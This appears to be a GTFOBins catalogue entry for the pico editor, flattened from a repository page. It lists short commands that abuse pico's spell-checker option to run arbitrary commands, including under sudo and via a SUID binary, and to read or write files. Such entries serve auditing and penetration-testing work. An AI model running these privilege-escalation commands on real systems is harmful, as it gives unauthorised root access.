GTFOBins.github.io/_gtfobins/pico.md
2018-05-29 18:23:33 +01:00

873 B

functions
execute-non-interactive sudo-enabled suid-enabled file-read file-write
description code
After running this exit the editor to see the command output. COMMAND=id TF=$(mktemp) echo "$COMMAND" > $TF chmod +x $TF pico -s $TF ^T
description code
After running this exit the editor to see the command output. COMMAND=id TF=$(mktemp) echo "$COMMAND" > $TF chmod +x $TF sudo pico -s $TF ^T
description code
After running this exit the editor to see the command output. COMMAND=id TF=$(mktemp) echo $'#!/bin/sh -p\n'"$COMMAND" > $TF chmod +x $TF ./pico -s $TF ^T
code
pico file_to_read
code
pico file_to_write ^O